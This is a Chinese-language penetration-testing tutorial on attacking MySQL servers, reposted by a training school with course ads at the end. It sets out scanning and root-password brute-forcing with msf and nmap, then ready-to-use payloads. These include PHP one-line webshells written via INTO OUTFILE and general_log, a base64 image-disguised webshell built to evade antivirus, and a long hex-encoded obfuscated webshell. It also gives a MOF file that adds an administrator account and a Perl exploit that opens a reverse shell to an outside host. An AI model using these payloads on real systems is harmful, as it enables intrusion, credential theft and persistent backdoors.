作者介绍

陈小兵,高级工程师,具有丰富的信息系统项目经验及18年以上网络安全经验,现主要从事网络安全及数据库技术研究工作。《黑客攻防及实战案例解析》《Web渗透及实战案例解析》《安全之路-Web渗透及实战案例解析第二版》《黑客攻防实战加密与解密》《网络攻防实战研究:漏洞利用与提权》作者,在国内多本学术期刊发表论文20余篇,并在多本IT杂志发表文章100余篇。

 

在针对网站渗透中,很多都是跟 MySQL 数据库有关,各种 MySQL 注入、MySQL 提权、MySQL 数据库 Root 账号 webshell 获取等,但没有一个对 MySQL 数据库渗透较为全面的总结。

 

针对这种情况我们开展了研究,但技术的进步永无止境,思想有多远,路就可以走多远,在研究 MySQL 数据库安全之余,我们也对 MySQL 如何通过 msf、sqlmap 等来进行扫描、漏洞利用、提权、MySQL 密码破解和获取 webshell 等进行了详细研究。

 

一、MySQL 信息收集

 

1、端口信息收集 

 

MySQL 默认端口是 3306 端口,但也有自定义端口,针对默认端口扫描主要利用扫描软件进行探测,推荐使用:

 

  • iisputter,直接填写 3306 端口,IP 地址填写单个或者 C 段地址;

  • Nmap 扫描 Nmap -p 3306 192.168.1.1-254。

     

特定目标的渗透,可能需要对全端口进行扫描,可以使用 Nmap 对某一个 IP 地址进行全端口扫描,端口扫描软件还有 sfind 等 DOS 下扫描的工具。

 

2、版本信息收集 

 

msf 查看版本信息“auxiliary/scanner/mysql/mysql_version”模块

 

以扫描主机 192.168.157.130 为例,命令为:

use auxiliary/scanner/mysql/mysql_version

set rhosts 192.168.157.130

run

MySQL 查询版本命令:

 

SELECT @@version、SELECT  version();

sqlmap 通过注入点扫描确认信息:

sqlmap.py -u url --dbms mysql

phpmyadmin 管理页面登录后查看 localhost->变量->服务器变量和设置中的 version 参数值。

 

3、数据库管理信息收集 

 

MySQL 管理工具有多种,例如 phpmyadmin 网站管理,Navicat for MySQL 以及 MySQL Front 等客户端工具。这些工具有的会直接保存配置信息,这些信息包含数据库服务器地址和数据库用户名以及密码,通过嗅探或者破解配置文件可以获取密码等信息。

 

4、msf 信息收集模块 

 

MySQL 哈希值枚举:

use auxiliary/scanner/mysql/mysql_hashdump

set username root

set password root

run

获取相关信息:

use auxiliary/admin/mysql/mysql_enum

set username root

set password root

run

获取数据库版本,操作系统名称,架构,数据库目录,数据库用户以及密码哈希值。

 

执行 MySQL 语句,连接成功后可以在 msf 执行 SQL 语句,跟 sqlmap 的“--sql-shell”模块类似

use auxiliary/admin/mysql/mysql_sql

将mysql_schem导出到本地/root/.msf4/loot/文件夹下

use auxiliary/scanner/mysql/mysql_schemadump

文件枚举和目录可写信息枚举

auxiliary/scanner/mysql/mysql_file_enum

auxiliary/scanner/mysql/mysql_writable_dirs

没有测试成功过,需要定义枚举目录和相关文件,觉得基本没什么用。

 

二、MySQL 密码获取

 

1、暴力破解 

 

MySQL 暴力破解主要有几种

 

网页在线连接破解:

 

可以使用 burpsuite 和 phpMyAdmin 多线程批量破解工具。

下载:

  • https://portswigger.net/burp/

  • http://pan.baidu.com/s/1c1LD6co

 

msf 通过命令行进行暴力破解:

 

msf 破解 MySQL 密码模块 auxiliary/scanner/mysql/mysql_login,其参数主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、DB_ALL_USERS、PASSWORD、PASS_FILE、Proxies、RHOSTS、RPORT、STOP_ON_SUCCESS、THREADS、USERNAME、USERPASS_FILE、USER_AS_PASS、USER_FILE、VERBOSE参数。

 

对单一主机仅仅需要设置 RHOSTS、RPORT、USERNAME、PASSWORD 和 PASS_FILE,其它参数根据实际情况进行设置。

 

场景A:对内网获取 Root 某个口令后,扩展渗透

use auxiliary/scanner/mysql/mysql_login

set RHOSTS 192.168.157.1-254

set password root

set username root

run

执行后对 192.168.157.1-254 进行 MySQL 密码扫描验证。

 

场景B:使用密码字典进行扫描

use auxiliary/scanner/mysql/mysql_login

set RHOSTS 192.168.157.1-254

set pass_file /tmp/password.txt

set username root

run

 

使用 nmap 扫描并破解密码:

 

对某一个 IP 或者 IP 地址段进行 nmap 默认密码暴力破解并扫描

nmap --script=mysql-brute 192.168.157.130

nmap --script=mysql-brute 192.168.157.1-254

使用 Root 账号 Root 密码进行 MySQL 密码验证并扫描获取指定 IP 地址的端口信息以及 MySQL 数据库相关信息

nmap -sV --script=mysql-databases --script-argsmysqluser=root,mysqlpass=root 192.168.157.130

检查 Root 空口令

nmap --script mysql-empty-password 192.168.195.130

 

对 MySQL 口令进行扫描:

 

使用 hscan 工具对 MySQL 口令进行扫描,需要设置扫描 IP 地址段以及数据库口令字典及用户名字典。

 

2、源代码泄露 

 

网站源代码备份文件:

 

一些网站源代码文件中会包含数据库连接文件,通过查看这些文件可以获取数据库账号和密码。一般常见的数据库连接文件为 config.php、web.config、conn.asp、db.php/asp、jdbc.properties、sysconfig.properties、JBOSS_HOME\docs\examples\jca\XXXX-ds.xml。以前有一款工具挖掘鸡可以自定义网站等名称对 zip/rar/tar/tar.gz/gz/sql 等后缀文件进行扫描。

 

配置备份文件:

 

使用 ultraedit 等编辑文件编辑数据库配置文件后,会留下 bak 文件。

 

3、文件包含 

 

本地文件包含漏洞可以包含文件,通过查看文件代码获取数据库配置文件,进而读取数据库用户名和密码。

 

4、其它情况 

 

有些软件会将 IP 地址、数据库用户名和密码写进程序中,运行程序后,通过 cain 软件进行嗅探,可以获取数据库密码。另外 MySQL客户端管理工具有的管理员会建立连接记录,这些连接记录保存了用户名、密码和连接 IP 地址或者主机名,通过配置文件或者嗅探可以获取用户名和密码。

 

三、MySQL 获取 webshell

 

1、phpmyadminroot 账号获取 webshell

 

MySQL Root 账号通过 phpMyAdmin 获取 webshell 的思路,主要有下面几种方式,以第1)2)6)8)方法较佳,其它可以根据实际情况来进行。

 

1)直接读取后门文件:

 

通过程序报错、phpinfo 函数、程序配置表等直接获取网站真实路径,有些网站前期已经被人渗透过,因此在目录下留有后门文件通过 load_file 直接读取。

 

2)直接导出一句话后门:

 

前提需要知道网站的真实物理路径,例如呼求偶真实路径 D:\work\WWW,则可以通过执行以下查询,来获取一句话后门文件 cmd.php,访问地址:http://www.somesite.com/cmd.php

select '<?php @eval($_POST[antian365]);?>'INTO OUTFILE 'D:/work/WWW/antian365.php'

 

3)创建数据库导出一句话后门:

 

在查询窗口直接执行以下代码即可,跟2)原理类似

CREATE TABLE `mysql`.`antian365` (`temp` TEXT NOTNULL );

INSERT INTO `mysql`.`antian365` (`temp` ) VALUES('<?php @eval($_POST[antian365]);?>');

SELECT `temp` FROM `antian365` INTO OUTFILE'D:/www/antian365.php';

DROP TABLE IF EXISTS `antian365`;

 

4)可执行命令方式:

 

创建执行命令形式的 Shell,但前提是对方未关闭系统函数。该方法导出成功后可以直接执行 DOS 命令,使用方法:www.xxx.com/antian365.php?cmd=(cmd=后面直接执行dos命令)

select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/antian365.php'

另外在 Linux 下可以导出直接执行命令的 Shell

SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';

http://localhost/shell.php?c=cat%20/etc/passwd

 

5)过杀毒软件方式:

 

通过后台或者存在上传图片的地方,上传图片 publicguide.jpg,内容如下

<?php$a=' PD9waHAgQGV2YWwoJF9QT1NUWydhbnRpYW4zNjUnXSk7ZGllKCk7Pz4=';error_reporting(0);@set_time_limit(0);eval("?>".base64_decode($a));?>

然后通过图片包含 temp.php,导出 webshell

select '<?php include 'publicguide.jpg' ?>'INTO OUTFILE 'D:/work/WWW/antian365.php'

一句话后门密码:antian365

 

6)直接导出加密 webshell:

 

一句话后门文件密码:pp64mqa2x1rnw68,执行以下查询直接导出加密 webshell,D:/WEB/IPTEST/22.php,注意在实际过程需要修改 D:/WEB/IPTEST/22.php

select unhex('203C3F7068700D0A24784E203D2024784E2E737562737472282269796234327374725F72656C6750383034222C352C36293B0D0A246C766367203D207374725F73706C697428226D756B3961773238776C746371222C36293B0D0A24784E203D2024784E2E73756273747228226C396364706C616365704172424539646B222C342C35293B0D0A246A6C203D2073747269706F732822657078776B6C3766363674666B74222C226A6C22293B0D0A2474203D2024742E737562737472282274514756325957774A63567534222C312C36293B0D0A2465696137203D207472696D28226A386C32776D6C34367265656E22293B0D0A2462203D2024622E73756273747228226B6261736536346B424474394C366E6D222C312C36293B0D0A246967203D207472696D28226233397730676E756C6922293B0D0A2479203D2024792E24784E28227259222C22222C22637259726572596122293B0D0A24797531203D207374725F73706C697428226269316238376D3861306F3678222C32293B0D0A2474203D2024742E24784E282278413678222C22222C2277784136786F4A463922293B0D0A246E64203D2073747269706F7328226E363574383872786E303265646A336630222C226E6422293B0D0A2462203D2024622E24784E282277493339222C22222C225F774933396477493339656322293B0D0A2468387073203D207374725F73706C697428226B6E396A3968346D6877676633666A6970222C33293B0D0A2479203D2024792E7375627374722822687974655F66756E775669535645344A222C322C36293B0D0A24796637203D207374726C656E282275656875343967367467356B6F22293B0D0A2474203D2024742E24784E28226670222C22222C22516670546670314E667022293B0D0A246D39203D207374726C656E282265756C363034636F626B22293B0D0A2462203D2024622E73756273747228226C3057316F64656C413165536E454A222C342C33293B0D0A2468306277203D207472696D28226E33653568306371746F6B76676F6238747822293B0D0A2479203D2024792E24784E28227962222C22222C2263796274696F22293B0D0A24733761203D20727472696D2822617565627963396734743564386B22293B0D0A2474203D2024742E7375627374722822624D73306E4268383355577964222C392C34293B0D0A2464353971203D2073747269706F732822636A7675636B6F79357766336F746561222C226435397122293B0D0A2479203D2024792E73756273747228226E4439487851534C386E6752222C392C31293B0D0A246C31203D207374725F73706C697428226167717130396762716E31222C34293B0D0A2474203D2024742E24784E282277366F34222C22222C2277634477366F345977366F343022293B0D0A247079203D2073747269706F7328226C677938687472727631746333222C22707922293B0D0A2474203D2024742E24784E282265503332222C22222C22625846655033326822293B0D0A2478703364203D2073747269706F732822756B6C306E626E7839677433222C227870336422293B0D0A2474203D2024742E7375627374722822696B4A3030484A4D6E677863222C372C35293B0D0A2464743262203D207374726C656E282265346135616275616A7733766C6369726122293B0D0A2474203D2024742E737562737472282263644E314B78656D35334E776D456838364253222C372C34293B0D0A2475626A203D207374726C656E28227767686A6E6674326F70356B7831633038367422293B0D0A2474203D2024742E73756273747228226D34616F7864756A676E58536B63784C344657635964222C372C36293B0D0A247178203D207374726C656E2822726C71666B6B6674726F3867666B6F37796122293B0D0A2474203D2024742E7375627374722822723779222C312C31293B0D0A246D75203D20727472696D28226E676478777578357671653122293B0D0A246A203D2024792822222C20246228247429293B0D0A24626E6C70203D207374726C656E28227675667930616B316679617622293B0D0A24736468203D207374725F73706C69742822776D6E6A766733633770306D222C34293B0D0A246D62203D206C7472696D28226E353270317067616570656F6B6622293B0D0A2465307077203D20727472696D28227575346D686770356339706E613465677122293B0D0A24756768203D207472696D282272637064336F3977393974696F3922293B0D0A246772636B203D207374726C656E2822783572697835627031786B793722293B0D0A24656F3674203D207374726C656E282264646931683134656375797563376422293B246A28293B0D0A2464766E71203D207374725F73706C6974282270726D36676968613176726F333630346175222C38293B0D0A24756738203D20727472696D28226563387735327375706234767538656F22293B0D0A24726374203D2073747269706F73282268786536776F37657764386D65376474222C2272637422293B0D0A24656B7166203D207374725F73706C69742822707266357930386538666C6666773032356A38222C38293B0D0A24767972203D207374725F73706C69742822756D706A63737266673668356E64366F3435222C39293B0D0A24777266203D20727472696D282266797839396F3739333868377567716822293B0D0A24713134203D207374726C656E2822746334366F73786C3173743169633222293B0D0A66756E6374696F6E206F2820297B2020207D3B0D0A24757366203D207374726C656E2822666C7463707862377466626A736D7422293B0D0A3F3E') into dumpfile 'D:/WEB/IPTEST/22.php'

(上下拉动可完整查看)

 

注意:也可以使用 http://tool.lu/hexstr/ 网站的代码转换来实现,将需要导出的文件代码复制到网站的字符串中,通过字符串转成十六进制,将十六进制字符串放入 unhex 函数进行查询即可

select unhex('十六进制字符串') into dumpfile 'D:/WEB/shell.php'

 

7)CMS 系统获取 webshell:

 

有些情况下无法获取网站的真实路径,则意味着无法直接导出一句话 webshell,可以通过 CMS 系统管理账号登录系统后,寻找漏洞来突破,例如 dedecms 可以通过破解管理员账号后直接上传文件来获取 webshell。Discuz!的 UC_key 可以直接获取 webshell。甚至某些系统可直接上传 php 文件。下面是一些 CMS 系统渗透的技巧:

 

  • dedecms 系统的密码有直接 md5,也有20位的密码,如果是20位的密码则需要去掉密码中的前3位和最后1位,然后对剩余的值进行md5解密即可;

  • phpcms v9 版本的密码需要加 salt 进行破解,需要选择破解算法 md5(md5($pass).$salt) 进行破解;

  • Discuz!论坛帐号保存在 ucenter_members(Discuz7.X及以上版本)或者cdb_members(discuz6.x版本)表中,其破解需要带salt进行,其破解时是使用password:salt进行,例如 a0513df9929afc972f024fa4e586e829:399793。

 

8)general_log_file 获取 webshell:

 

查看 genera 文件配置情况

show global variables like "%genera%";

关闭 general_log

set global general_log=off;

通过 general_log 选项来获取 webshell

set global general_log='on';

SET global general_log_file='D:/phpStudy/WWW/cmd.php';

在查询中执行语句

SELECT '<?php assert($_POST["cmd"]);?>';

Shell 为 cmd.php,一句话后门,密码为cmd。

 

2、Sqlmap 注入点获取 webshell

 

Sqlmap 注入点获取 webshell 的前提是具备写权限,一般是 Root 账号,通过执行命令来获取

sqlmap -u url--os-shell

  echo "<?php @eval($_POST['c']);?>" >/data/www/1.php

 

四、MySQL 提权

 

1、mof提权 

 

webshell 上传 mof 文件提权:

 

MySQL Root 权限 MOF 方法提权是来自国外 Kingcope 大牛发布的 MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/),简称 MySQL 远程提权 0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:

 

  • 方法1:运行 MOF 文件指定为命令行参数 Mofcomp.exe 文件;

  • 方法2:使用 IMofCompiler 接口和 $ CompileFile 方法;

  • 方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。

 

Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。第三种方法仅为向后兼容性与早期版本的 WMI 提供,并因为此功能可能不会提供在将来的版本后,不应使用。注意使用 MOF 方法提权的前提是当前 Root 帐号可以复制文件到 %SystemRoot%\System32\Wbem\MOF 目录下,否则会失败!

 

该漏洞的利用前提条件是必须具备 MySQL 的 Root 权限,在 Kingcope 公布的 0day 中公布了一个 pl 利用脚本。

 

perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555

192.168.2.100 为 MySQL 数据库所在服务器,MySQL 口令为空,反弹到 192.168.2.150 的 5555 端口上。

 

生成 nullevt.mof 文件:

 

将以下代码保存为nullevt.mof文件:

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter

EventNamespace = "Root\\Cimv2"; 

Name  = "filtP2"; 

    Query = "Select * From __InstanceModificationEvent " 

            "Where TargetInstance Isa \"Win32_LocalTime\" " 

            "And TargetInstance.Second = 5"; 

QueryLanguage = "WQL"; 

}; 

instance of ActiveScriptEventConsumer as $Consumer 

    Name = "consPCSV2"; 

ScriptingEngine = "JScript"; 

ScriptText = 

    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")"; 

}; 

instance of __FilterToConsumerBinding

    Consumer   = $Consumer; 

    Filter = $EventFilter; 

};

(上下拉动可完整查看)

 

通过 MySQL 查询将文件导入:

 

执行以下查询语句,将上面生成的 nullevt.mof 导入到 c:\windows\system32\wbem\mof\ 目录下在windows7 中默认是拒绝访问的。导入后系统会自动运行,执行命令

selectload_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

 

msf 直接 mof 提权:

 

msf 下的 exploit/windows/mysql/mysql_mof 模块提供了直接 mof 提权,不过该漏洞成功跟操作系统权限和 MySQL 数据库版本有关,执行成功后会直接反弹 Shell 到 meterpreter

use exploit/windows/mysql/mysql_mof

set rhost 192.168.157.1 //设置需要提权的远程主机IP地址

set rport 3306 //设置mysql的远程端口

set password root //设置mysql数据库root密码

set username root //设置mysql用户名

options //查看设置

run 0

 

技巧:要是能够通过网页连接管理(phpmyadmin),则可以修改 host 为“%”并刷新权限后,则可以通过 msf 等工具远程连接数据库。默认 Root 等账号不允许远程连接,除非管理员或者数据库用户自己设置。

 

方法1:本地登入 MySQL,更改 "MySQL" 数据库里的 "user" 表里的 "host" 项,将"localhost"改为"%"

use mysql;

 update user set host = '%' where user = 'root';

FLUSH PRIVILEGES ;

 select host, user from user;

 

方法2:直接授权(推荐)

从任何主机上使用 Root 用户,密码:youpassword(你的root密码)连接到 MySQL 服务器

# mysql -u root -proot

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION;

FLUSH PRIVILEGES;

 

推荐重新增加一个用户,在实际测试过程中发现很多服务器使用 Root 配置了多个地址,修改后可能会影响实际系统的运行。在实际测试过程中因此建议新增一个用户,授权所有权限,而不是直接更改 Root 配置。

 

——END——

 

报班咨询:

班主任微信:

qiuzhiquanquan 或 qqls000,加入微信群

班主任QQ:

1724698994 或 1752856301,加入加入QQ群(240920680

 

加入学习:

拼客学院公号:

微信搜索pinginglab

拼客学院网校:

https://www.pinginglab.net

拼客学院APP:

https://www.pinginglab.net/mobile/

微信小程序:

https://www.pinginglab.net/page/weixin

 

技术交流群:

拼客学院技术交流群:240920680

拼客学院网络安全交流群:482618569

拼客学院Linux云计算交流群:156959645

拼客学院Python人工智能交流群:117907362